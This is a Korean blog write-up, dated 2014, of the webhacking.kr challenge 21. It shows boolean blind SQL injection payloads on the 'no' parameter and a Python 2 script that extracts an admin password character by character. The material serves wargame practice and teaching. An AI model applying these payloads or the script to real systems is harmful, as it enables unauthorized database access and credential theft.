webhacking/sql, sql injection

webhacking.kr 21

qkqhxla1 2014. 10. 23. 12:44

1 입력시 true. 2입력시 true


http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=1&id=&pw=


라는 인자로 보아 no,id,pw컬럼 확인. 


no=이 입력부분이고, 대부분 숫자로 가정하여 홑따옴표'를 안씌운다는 가정하게 인젝션.


?no=2 and ascii(substr(id,1,1))=97%23&id=&pw= 이런식으로 true, false판별해본결과


no=1 의 id='guest', no=2의 id='admin' 확인. no=2의 pw를 뽑으면 될거같으므로


?no=2 and length(pw)<20%23id=&pw= 이런식으로 범위를 줄여나감.


pw의 길이는 19확인. 19자의 pw를 뽑아내기 위해 스크립트 짜서 돌리면 .


?no=2 and ascii(substr(pw,1~20숫자,1))=32~128숫자%23id=&pw=


참고로 %23은 #으로 그냥 url에 #을 써서 주석처리하려고 하면 #이 url에서도 유효한 문자이기


때문에 sql로 전달이 되지 않으므로 인코딩한 %23을 씀.


import urllib2

req = urllib2.Request('http://webhacking.kr','id=??????&pw=?????')
session = urllib2.urlopen(req).headers.get('set-cookie')

answer = ''
for i in range(1,20):
    for j in range(97,128):
        print i,j,answer
        req = urllib2.Request('http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=2%20and%20ascii(substr(pw,'+str(i)+',1))='+str(j)+'%23&id=&pw=')
        req.add_header('cookie',session)
        if urllib2.urlopen(req).read().find('True') != -1:
            print chr(j)
            answer += chr(j)
            break
print answer



'webhacking > sql, sql injection' 카테고리의 다른 글

suninatas level 6  (0) 2014.10.30
webhacking.kr 22  (0) 2014.10.23
wargame.kr counting_query  (0) 2014.10.15
wargame.kr q&a  (0) 2014.10.06
wargame.kr ip_log_table  (0) 2014.10.06